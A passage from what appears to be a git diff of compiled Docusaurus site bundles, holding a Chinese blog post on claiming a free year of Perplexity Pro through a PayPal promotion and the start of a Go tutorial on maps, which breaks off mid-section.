Pro\u514d\u8d39\u83b7\u53d6\u4e00\u5e74\u8ba2\u9605"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-11-02 05:51:51"})]})})]}),"\n",(0,i.jsxs)(n.p,{children:["\u5927\u5bb6\u597d\uff0c\u6211\u662f ",(0,i.jsx)(n.strong,{children:"\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff01\n\u4eca\u5929\u7ed9\u5927\u5bb6\u5e26\u6765\u4e00\u4e2a",(0,i.jsx)(n.strong,{children:"\u91cd\u78c5\u798f\u5229"}),"\uff1a\u4f60\u53ef\u4ee5",(0,i.jsx)(n.strong,{children:"\u514d\u8d39\u83b7\u5f97\u4e00\u5e74\u7684 Perplexity Pro \u8ba2\u9605\u670d\u52a1"}),"\uff01\u4ef7\u503c",(0,i.jsx)(n.strong,{children:"240 \u7f8e\u5143\uff08\u7ea6\u4eba\u6c11\u5e01 1700 \u5143\uff09"}),"\uff0c\u514d\u8d39\u4f7f\u7528",(0,i.jsx)(n.strong,{children:"Perplexity Pro"}),"\u3001",(0,i.jsx)(n.strong,{children:"GPT-5"}),"\u3001",(0,i.jsx)(n.strong,{children:"Grok 4"}),"\u3001",(0,i.jsx)(n.strong,{children:"Claude Sonnect 4.5"})," \u3001Gemini 2.5 Pro \u7b49\u6700\u65b0\u5927\u6a21\u578b\u3002\u867d\u7136\u9700\u8981\u6ee1\u8db3\u4e00\u4e9b\u6761\u4ef6\u624d\u80fd\u9886\u53d6\uff0c\u4f46",(0,i.jsx)(n.strong,{children:"\u51e0\u4e4e\u6240\u6709\u4eba\u90fd\u80fd\u8fbe\u6210"}),"\uff0c\u975e\u5e38\u5212\u7b97\u3002\u597d\u4e86\uff0c\u5e9f\u8bdd\u4e0d\u591a\u8bf4\uff0c",(0,i.jsx)(n.strong,{children:"\u6211\u4eec\u73b0\u5728\u5c31\u5f00\u59cb\u5427\uff01"})]}),"\n",(0,i.jsx)(n.h2,{id:"\u9886\u53d6\u4f18\u60e0\u6761\u4ef6",children:"\u9886\u53d6\u4f18\u60e0\u6761\u4ef6"}),"\n",(0,i.jsxs)(n.p,{children:["\u9996\u5148\u6211\u4eec\u6253\u5f00\u4e00\u4e2a\u6d3b\u52a8\u9875\u9762\uff08\u7531\u4e8e\u516c\u4f17\u53f7\u539f\u56e0\uff0c\u65e0\u6cd5\u76f4\u63a5\u5c55\u793a\u94fe\u63a5\u3002\u6211\u628a\u653e\u5230\u516c\u4f17\u53f7\u6d88\u606f\u91cc\u4e86\uff0c\u5173\u6ce8\u516c\u4f17\u53f7",(0,i.jsx)(n.strong,{children:"\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff0c\u56de\u590d\u3010Perplexity\u3011\u5373\u53ef\u83b7\u5f97\uff09\uff0c\u53ef\u4ee5\u770b\u5230\u4ec5\u9650",(0,i.jsx)(n.strong,{children:"PayPal"}),"\u7528\u6237\uff08\u8fd9\u91cc\u8bf4\u660e\u4e00\u4e0b\uff0cPayPal \u8d26\u6237\u662f\u65e0\u4efb\u4f55\u5730\u533a\u9650\u5236\u7684\uff0c\u751a\u81f3\u662f\u4e2d\u56fd\u5730\u533a\uff09"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102045928005",src:s(42420).A+"",width:"2772",height:"1386"})}),"\n",(0,i.jsxs)(n.p,{children:["\u5f53\u6211\u4eec\u7ee7\u7eed\u70b9\u5f00\u4e0b\u65b9\u7684\u4f7f\u7528\u6761\u6b3e\uff0c\u53ef\u4ee5\u770b\u5230 2025 \u5e74 9 \u6708 1 \u65e5\u524d\uff0c\u6ce8\u518cPayPal \u7684\u7528\u6237\u5373\u53ef\u514d\u8d39\u76f4\u63a5\u83b7\u53d6\uff0c\u800c\u672a\u6ce8\u518c\u7684\u4e5f\u4e0d\u7528\u62c5\u5fc3\uff0c\u53ea\u9700\u6ce8\u518c\u4e00\u4e2a\u6708\u540e\u5c31\u53ef\u518d\u6b21\u56de\u5230\u8fd9\u4e2a\u9875\u9762\u9886\u53d6\u4e86\uff0c\u5e76\u4e14\u622a\u6b62\u65f6\u95f4\u662f 2025 \u5e74 12 \u6708 31 \u65e5\uff0c\u6240\u4ee5\u8fd8\u6ca1\u6709\u8d26\u6237\u7684\u670b\u53cb\uff0c\u53ef\u4ee5\u4e0d\u7740\u6025\u7b49\u6ce8\u518c\u597d\u540e",(0,i.jsx)(n.strong,{children:"Paypal"})," \uff0c\u4e00\u4e2a\u6708\u540e\u9886\u53d6\u3002"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102050042247",src:s(65197).A+"",width:"2688",height:"1336"})}),"\n",(0,i.jsx)(n.p,{children:"\u7531\u4e8e\u6211\u76f4\u63a5\u662f\u9886\u53d6\uff0c\u65e0\u6cd5\u8bb0\u5f55\u5b8c\u6574\u7684\u9886\u53d6\u8fc7\u7a0b\uff0c\u53ef\u4ee5\u770b\u5230\u6211\u662f\u76f4\u63a5\u83b7\u5f97\u4e86\u4e00\u5e74\u7684\u8d44\u683c"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102050448408",src:s(60302).A+"",width:"734",height:"924"})}),"\n",(0,i.jsx)(n.h2,{id:"\u53d6\u6d88\u4e00\u5e74\u540e\u7684\u81ea\u52a8\u6263\u8d39",children:"\u53d6\u6d88\u4e00\u5e74\u540e\u7684\u81ea\u52a8\u6263\u8d39"}),"\n",(0,i.jsxs)(n.p,{children:["\u4e3a\u4e86\u907f\u514d\u4e00\u5e74\u540e\u6263\u4f60 ",(0,i.jsx)(n.strong,{children:"PayPal"})," \u7684\u9a6c\u5185\uff0c\u6211\u4eec\u8fd8\u662f\u9700\u8981\u53d6\u6d88\u8ba2\u9605\u7684\u3002\u8fd9\u8ddf\u56fd\u5185\u7684\u81ea\u52a8\u6263\u8d39\u662f\u4e00\u4e2a\u9053\u7406\uff0c\u9996\u5148\u6253\u5f00",(0,i.jsx)(n.strong,{children:"perplexity"}),"\u754c\u9762\uff0c\u5de6\u4e0b\u89d2\u70b9\u51fb\u5934\u50cf->\u8d26\u6237"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102053130311",src:s(52016).A+"",width:"2574",height:"1392"})}),"\n",(0,i.jsx)(n.p,{children:"\u5f39\u51fa\u7684\u754c\u9762\u4e2d\u9009\u62e9\u7ba1\u7406\u8ba2\u9605"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102053054657",src:s(47114).A+"",width:"2636",height:"1378"})}),"\n",(0,i.jsx)(n.p,{children:"\u70b9\u51fb\u53d6\u6d88\u8ba2\u9605\u5373\u53ef\uff0c\u653e\u5fc3\u8fd9\u91cc\u4e0d\u4f1a\u53d6\u6d88\u4f60\u73b0\u5728\u7684 Pro \u4f1a\u5458\u3002\u53ea\u662f\u53d6\u6d88\u81ea\u52a8\u6263\u6b3e\u800c\u5df2"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102053249160",src:s(26387).A+"",width:"758",height:"312"})}),"\n",(0,i.jsx)(n.h2,{id:"perplexity-\u53ef\u4ee5\u5e72\u5565\u5462",children:"Perplexity \u53ef\u4ee5\u5e72\u5565\u5462\uff1f"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"Perplexity"})," \u662f\u4e00\u4e2a\u201c\u5bf9\u8bdd\u5f0f\u641c\u7d22\u5f15\u64ce+\u4fe1\u606f\u6765\u6e90\u5f15\u7528\u201d\u7684 AI \u5de5\u5177\uff0c\u4f18\u52bf\u5728\u4e8e\u5b9e\u65f6\u68c0\u7d22\u3001\u7ed3\u679c\u5e26\u6765\u6e90\u3001\u5e76\u4ee5\u5bf9\u8bdd\u5f62\u5f0f\u7ed9\u51fa\u6574\u5408\u6027\u7684\u4fe1\u606f\u6458\u8981\uff0c\u4e0e\u7eaf\u804a\u5929\u578b AI\u76f8\u6bd4\u66f4\u9002\u5408\u9700\u8981\u53ef\u6838\u9a8c\u7684\u6700\u65b0\u4fe1\u606f\u4e0e\u7814\u7a76\u8d44\u6599\u7684\u573a\u666f\u3002\u8bf4\u5927\u767d\u8bdd\u5c31\u662f\uff0c\u76f8\u8f83\u4e8e\u5176\u4ed6 AI\uff0c\u5b83\u4f1a\u7ed3\u5408\u5404\u7c7b\u641c\u7d22\u7ed3\u679c\u8fdb\u884c\u8fdb\u884c\u603b\u7ed3\u8f93\u51fa\u62a5\u544a\u3001\u65b0\u95fb\u3001\u4fe1\u606f\u6458\u8981\u7b49\u3002"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102051649779",src:s(47021).A+"",width:"2380",height:"1212"})}),"\n",(0,i.jsxs)(n.p,{children:["\u90a3\u4e48\u6211\u4eec\u7b80\u5355\u6765\u4f7f\u7528\u4e00\u4e0b\uff0c\u6211\u8ba9\u4ed6\u4f7f\u7528\u641c\u7d22\u529f\u80fd\uff0c\u5e2e\u6211\u603b\u7ed3\u6bcf\u65e5\u4e00\u62a5\u7684\u4fe1\u606f\u3002\u9996\u5148\u70b9\u51fb",(0,i.jsx)(n.strong,{children:"\u7a7a\u95f4"}),"->",(0,i.jsx)(n.strong,{children:"\u521b\u5efa\u65b0\u7a7a\u95f4"})]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102052110284",src:s(91996).A+"",width:"2640",height:"1352"})}),"\n",(0,i.jsx)(n.p,{children:"\u8f93\u5165\u4ee5\u4e0b\u63d0\u793a\u8bcd"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-tex",children:"\u89d2\u8272\u8bbe\u5b9a\uff1a\n\u4f60\u662f\u4e00\u540d\u8d44\u6df1\u65b0\u95fb\u7f16\u8f91\u4e0e\u65f6\u4e8b\u5206\u6790\u4e13\u5bb6\uff0c\u8d1f\u8d23\u6bcf\u5929\u4e3a\u8bfb\u8005\u63d0\u4f9b\u5168\u7403\u53ca\u56fd\u5185\u4e3b\u8981\u65b0\u95fb\u4e8b\u4ef6\u7684\u7cbe\u70bc\u603b\u7ed3\u4e0e\u8d8b\u52bf\u6d1e\u5bdf\u3002\n\u4f60\u7684\u76ee\u6807\u662f\u5e2e\u52a9\u8bfb\u8005\u5728\u51e0\u5206\u949f\u5185\u4e86\u89e3\u5f53\u5929\u6700\u91cd\u8981\u7684\u65b0\u95fb\u52a8\u6001\u3002\n\n\ud83c\udfaf \u4efb\u52a1\u76ee\u6807\uff1a\n\n\u8bf7\u6839\u636e\u4eca\u65e5\u7684\u65b0\u95fb\u5185\u5bb9\uff08\u6216\u4ece\u6307\u5b9a\u6765\u6e90\u63d0\u53d6\u7684\u65b0\u95fb\uff09\uff0c\u751f\u6210\u4e00\u4efd\u6bcf\u65e5\u65b0\u95fb\u603b\u7ed3\u62a5\u544a\uff0c\u8981\u6c42\u5982\u4e0b\uff1a\n\n\u5185\u5bb9\u7ed3\u6784\u6e05\u6670\u3001\u6709\u5c42\u6b21\uff0c\u7528\u5206\u6bb5\u6807\u9898\u5448\u73b0\u3002\n\n\u6bcf\u6761\u65b0\u95fb\u9700\u5305\u542b\u4ee5\u4e0b\u8981\u7d20\uff1a\n\n\ud83d\udd53 \u4e8b\u4ef6\u65f6\u95f4\u4e0e\u80cc\u666f\n\n\ud83c\udf0d \u4e3b\u8981\u4eba\u7269 / \u673a\u6784\n\n\ud83d\udccc \u6838\u5fc3\u4e8b\u4ef6\u53ca\u53d1\u5c55\n\n\ud83d\udcca \u5f71\u54cd\u4e0e\u610f\u4e49\n\n\u5bf9\u6240\u6709\u65b0\u95fb\u8fdb\u884c\u4e3b\u9898\u5f52\u7eb3\u4e0e\u8d8b\u52bf\u5206\u6790\uff08\u5982\u653f\u6cbb\u3001\u7ecf\u6d4e\u3001\u79d1\u6280\u3001\u793e\u4f1a\u3001\u56fd\u9645\u7b49\uff09\u3002\n\n\u8bed\u6c14\u4fdd\u6301\u4e2d\u7acb\u3001\u4e13\u4e1a\u3001\u7b80\u6d01\uff0c\u907f\u514d\u4e3b\u89c2\u8bc4\u8bba\u3002\n\n\u5728\u7ed3\u5c3e\u6dfb\u52a0\u4e00\u6bb5 \u300c\u7efc\u5408\u5206\u6790 / \u660e\u65e5\u5c55\u671b\u300d\uff0850\u2013100\u5b57\uff09\u3002\n"})}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102052306129",src:s(3357).A+"",width:"2264",height:"1152"})}),"\n",(0,i.jsx)(n.p,{children:"\u7136\u540e\u5728\u5bf9\u8bdd\u6846\u4e2d\u8f93\u5165**\u751f\u6210\u5173\u4e8e 2025 \u5e74 10 \u6708 31 \u65e5\u7684\u65b0\u95fb.**\u53ef\u4ee5\u770b\u5230\u5b83\u7ed3\u5408\u4e86\u5f88\u591a\u653f\u5e9c\u7f51\u7ad9\u7684\u5b9e\u65f6\u62a5\u9053\u548c\u5404\u7c7b\u6570\u636e\u6e90\u7684\u641c\u7d22\u7ed3\u679c\u3002"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102052545888",src:s(90276).A+"",width:"2248",height:"1310"})}),"\n",(0,i.jsx)(n.p,{children:"\u8fd9\u662f\u5b83\u7684\u641c\u7d22\u7ed3\u679c"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102052642142",src:s(80511).A+"",width:"2226",height:"1264"})}),"\n",(0,i.jsx)(n.h2,{id:"perplexity-pro-\u771f\u7684\u503c\u5f97\u9886\u53d6\u5417",children:"Perplexity Pro \u771f\u7684\u503c\u5f97\u9886\u53d6\u5417\uff1f"}),"\n",(0,i.jsxs)(n.p,{children:["\u6211\u7684\u56de\u7b54\u662f\u5f53\u7136\u7684\uff01\u53cd\u6b63\u4ed6\u662f\u514d\u8d39\u7684\u4e0d\u7528\u767d\u4e0d\u7528\u662f\u5427\uff0c\u4f55\u51b5\u5728\u4ed6\u7684\u754c\u9762\u4e2d\uff0c\u4f60\u8fd8\u53ef\u4ee5\u7528\u5230 ",(0,i.jsx)(n.strong,{children:"GPT-5"}),"\u3001",(0,i.jsx)(n.strong,{children:"Claude Sonnect 4.5"})]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{alt:"image-20251102053556576",src:s(88455).A+"",width:"1698",height:"962"})}),"\n",(0,i.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,i.jsxs)(n.p,{children:["\u90a3\u4e48\u4eca\u5929\u7684\u5206\u4eab\u5c31\u5230\u8fd9\u91cc\uff5e \u5982\u679c\u4f60\u4e5f\u60f3",(0,i.jsx)(n.strong,{children:"\u514d\u8d39\u9886\u53d6\u4e00\u5e74 Perplexity Pro"}),"\uff0c\u6216\u8005\u60f3\u4e86\u89e3\u66f4\u591a",(0,i.jsx)(n.strong,{children:"AI \u5de5\u5177\u4e0e\u5b89\u5168\u798f\u5229"}),"\uff0c\u8bb0\u5f97",(0,i.jsx)(n.strong,{children:"\u5173\u6ce8\u5c0f\u738b\u8bf4\u5b89\u5168"}),"\uff0c\u5e26\u4f60",(0,i.jsx)(n.strong,{children:"\u89e3\u9501\u66f4\u591a\u9690\u85cf\u798f\u5229\uff0c\u73a9\u8f6c\u524d\u6cbf\u79d1\u6280\uff01"})," \u56de\u590d\u3010Perplexity\u3011\uff0c\u83b7\u53d6\u9886\u53d6\u5730\u5740"]})]})}function o(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(h,{...e})}):h(e)}},80511:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102052642142-b7b523b39618a9befd435a9b50efafb6.png"},88455:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102053556576-c9d09490394207f99cad126b0aa8c24d.png"},90276:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102052545888-0130f95cc7bde791067e53d9b9a39db4.png"},91996:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/image-20251102052110284-2b9ff4293e3d03ecd517cb99c4330b5b.png"}}]); \ No newline at end of file diff --git a/en/assets/js/e7d10ee3.6b37c7c1.js b/en/assets/js/e7d10ee3.6b37c7c1.js new file mode 100644 index 0000000..512aeaf --- /dev/null +++ b/en/assets/js/e7d10ee3.6b37c7c1.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[283],{28453:(n,e,a)=>{a.d(e,{R:()=>l,x:()=>i});var t=a(96540);const r={},s=t.createContext(r);function l(n){const e=t.useContext(s);return t.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:l(n.components),t.createElement(s.Provider,{value:e},n.children)}},52890:(n,e,a)=>{a.r(e),a.d(e,{assets:()=>c,contentTitle:()=>i,default:()=>d,frontMatter:()=>l,metadata:()=>t,toc:()=>p});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map","title":"map","description":"map\u662f\u4e00\u79cd\u65e0\u5e8f\u7684\u57fa\u4e8ekey-value\u7684\u6570\u636e\u7ed3\u6784\uff0cGo\u8bed\u8a00\u4e2d\u7684map\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u5fc5\u987b\u521d\u59cb\u5316\u624d\u80fd\u4f7f\u7528\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/09.GoLang-map.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/09.GoLang-map.md","tags":[],"version":"current","sidebarPosition":9,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488"},"next":{"title":"\u51fd\u6570","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570"}}');var r=a(74848),s=a(28453);const l={},i="map",c={},p=[{value:"map\u5b9a\u4e49",id:"map\u5b9a\u4e49",level:2},{value:"map\u57fa\u672c\u4f7f\u7528",id:"map\u57fa\u672c\u4f7f\u7528",level:2},{value:"\u5224\u65ad\u67d0\u4e2a\u952e\u662f\u5426\u5b58\u5728",id:"\u5224\u65ad\u67d0\u4e2a\u952e\u662f\u5426\u5b58\u5728",level:2},{value:"map\u7684\u904d\u5386",id:"map\u7684\u904d\u5386",level:2},{value:"\u4f7f\u7528delete()\u51fd\u6570\u5220\u9664\u952e\u503c\u5bf9",id:"\u4f7f\u7528delete\u51fd\u6570\u5220\u9664\u952e\u503c\u5bf9",level:2},{value:"\u6309\u7167\u6307\u5b9a\u987a\u5e8f\u904d\u5386map",id:"\u6309\u7167\u6307\u5b9a\u987a\u5e8f\u904d\u5386map",level:2},{value:"\u5143\u7d20\u4e3amap\u7c7b\u578b\u7684\u5207\u7247",id:"\u5143\u7d20\u4e3amap\u7c7b\u578b\u7684\u5207\u7247",level:2},{value:"\u503c\u4e3a\u5207\u7247\u7c7b\u578b\u7684map",id:"\u503c\u4e3a\u5207\u7247\u7c7b\u578b\u7684map",level:2}];function o(n){const e={code:"code",h1:"h1",h2:"h2",header:"header",li:"li",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,s.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"map",children:"map"})}),"\n",(0,r.jsxs)(e.p,{children:["map\u662f\u4e00\u79cd\u65e0\u5e8f\u7684\u57fa\u4e8e",(0,r.jsx)(e.code,{children:"key-value"}),"\u7684\u6570\u636e\u7ed3\u6784\uff0cGo\u8bed\u8a00\u4e2d\u7684map\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u5fc5\u987b\u521d\u59cb\u5316\u624d\u80fd\u4f7f\u7528\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"map\u5b9a\u4e49",children:"map\u5b9a\u4e49"}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d ",(0,r.jsx)(e.code,{children:"map"}),"\u7684\u5b9a\u4e49\u8bed\u6cd5\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"map[KeyType]ValueType\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d\uff0c"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"KeyType:\u8868\u793a\u952e\u7684\u7c7b\u578b\u3002"}),"\n",(0,r.jsx)(e.li,{children:"ValueType:\u8868\u793a\u952e\u5bf9\u5e94\u7684\u503c\u7684\u7c7b\u578b\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"map\u7c7b\u578b\u7684\u53d8\u91cf\u9ed8\u8ba4\u521d\u59cb\u503c\u4e3anil\uff0c\u9700\u8981\u4f7f\u7528make()\u51fd\u6570\u6765\u5206\u914d\u5185\u5b58\u3002\u8bed\u6cd5\u4e3a\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"make(map[KeyType]ValueType, [cap])\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2dcap\u8868\u793amap\u7684\u5bb9\u91cf\uff0c\u8be5\u53c2\u6570\u867d\u7136\u4e0d\u662f\u5fc5\u987b\u7684\uff0c\u4f46\u662f\u6211\u4eec\u5e94\u8be5\u5728\u521d\u59cb\u5316map\u7684\u65f6\u5019\u5c31\u4e3a\u5176\u6307\u5b9a\u4e00\u4e2a\u5408\u9002\u7684\u5bb9\u91cf\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"map\u57fa\u672c\u4f7f\u7528",children:"map\u57fa\u672c\u4f7f\u7528"}),"\n",(0,r.jsx)(e.p,{children:"map\u4e2d\u7684\u6570\u636e\u90fd\u662f\u6210\u5bf9\u51fa\u73b0\u7684\uff0cmap\u7684\u57fa\u672c\u4f7f\u7528\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tscoreMap := make(map[string]int, 8)\n\tscoreMap["\u5f20\u4e09"] = 90\n\tscoreMap["\u5c0f\u660e"] = 100\n\tfmt.Println(scoreMap)\n\tfmt.Println(scoreMap["\u5c0f\u660e"])\n\tfmt.Printf("type of a:%T\\n", scoreMap)\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-bash",children:"map[\u5c0f\u660e:100 \u5f20\u4e09:90]\n100\ntype of a:map[string]int\n"})}),"\n",(0,r.jsx)(e.p,{children:"map\u4e5f\u652f\u6301\u5728\u58f0\u660e\u7684\u65f6\u5019\u586b\u5145\u5143\u7d20\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tuserInfo := map[string]string{\n\t\t"username": "\u6c99\u6cb3\u5c0f\u738b\u5b50",\n\t\t"password": "123456",\n\t}\n\tfmt.Println(userInfo) //\n}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u5224\u65ad\u67d0\u4e2a\u952e\u662f\u5426\u5b58\u5728",children:"\u5224\u65ad\u67d0\u4e2a\u952e\u662f\u5426\u5b58\u5728"}),"\n",(0,r.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u6709\u4e2a\u5224\u65admap\u4e2d\u952e\u662f\u5426\u5b58\u5728\u7684\u7279\u6b8a\u5199\u6cd5\uff0c\u683c\u5f0f\u5982\u4e0b:"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"value, ok := map[key]\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tscoreMap := make(map[string]int)\n\tscoreMap["\u5f20\u4e09"] = 90\n\tscoreMap["\u5c0f\u660e"] = 100\n\t// \u5982\u679ckey\u5b58\u5728ok\u4e3atrue,v\u4e3a\u5bf9\u5e94\u7684\u503c\uff1b\u4e0d\u5b58\u5728ok\u4e3afalse,v\u4e3a\u503c\u7c7b\u578b\u7684\u96f6\u503c\n\tv, ok := scoreMap["\u5f20\u4e09"]\n\tif ok {\n\t\tfmt.Println(v)\n\t} else {\n\t\tfmt.Println("\u67e5\u65e0\u6b64\u4eba")\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"map\u7684\u904d\u5386",children:"map\u7684\u904d\u5386"}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u4f7f\u7528",(0,r.jsx)(e.code,{children:"for range"}),"\u904d\u5386map\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tscoreMap := make(map[string]int)\n\tscoreMap["\u5f20\u4e09"] = 90\n\tscoreMap["\u5c0f\u660e"] = 100\n\tscoreMap["\u5a1c\u624e"] = 60\n\tfor k, v := range scoreMap {\n\t\tfmt.Println(k, v)\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4f46\u6211\u4eec\u53ea\u60f3\u904d\u5386key\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u6309\u4e0b\u9762\u7684\u5199\u6cd5\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tscoreMap := make(map[string]int)\n\tscoreMap["\u5f20\u4e09"] = 90\n\tscoreMap["\u5c0f\u660e"] = 100\n\tscoreMap["\u5a1c\u624e"] = 60\n\tfor k := range scoreMap {\n\t\tfmt.Println(k)\n\t}\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})," \u904d\u5386map\u65f6\u7684\u5143\u7d20\u987a\u5e8f\u4e0e\u6dfb\u52a0\u952e\u503c\u5bf9\u7684\u987a\u5e8f\u65e0\u5173\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u4f7f\u7528delete\u51fd\u6570\u5220\u9664\u952e\u503c\u5bf9",children:"\u4f7f\u7528delete()\u51fd\u6570\u5220\u9664\u952e\u503c\u5bf9"}),"\n",(0,r.jsxs)(e.p,{children:["\u4f7f\u7528",(0,r.jsx)(e.code,{children:"delete()"}),"\u5185\u5efa\u51fd\u6570\u4ecemap\u4e2d\u5220\u9664\u4e00\u7ec4\u952e\u503c\u5bf9\uff0c",(0,r.jsx)(e.code,{children:"delete()"}),"\u51fd\u6570\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"delete(map, 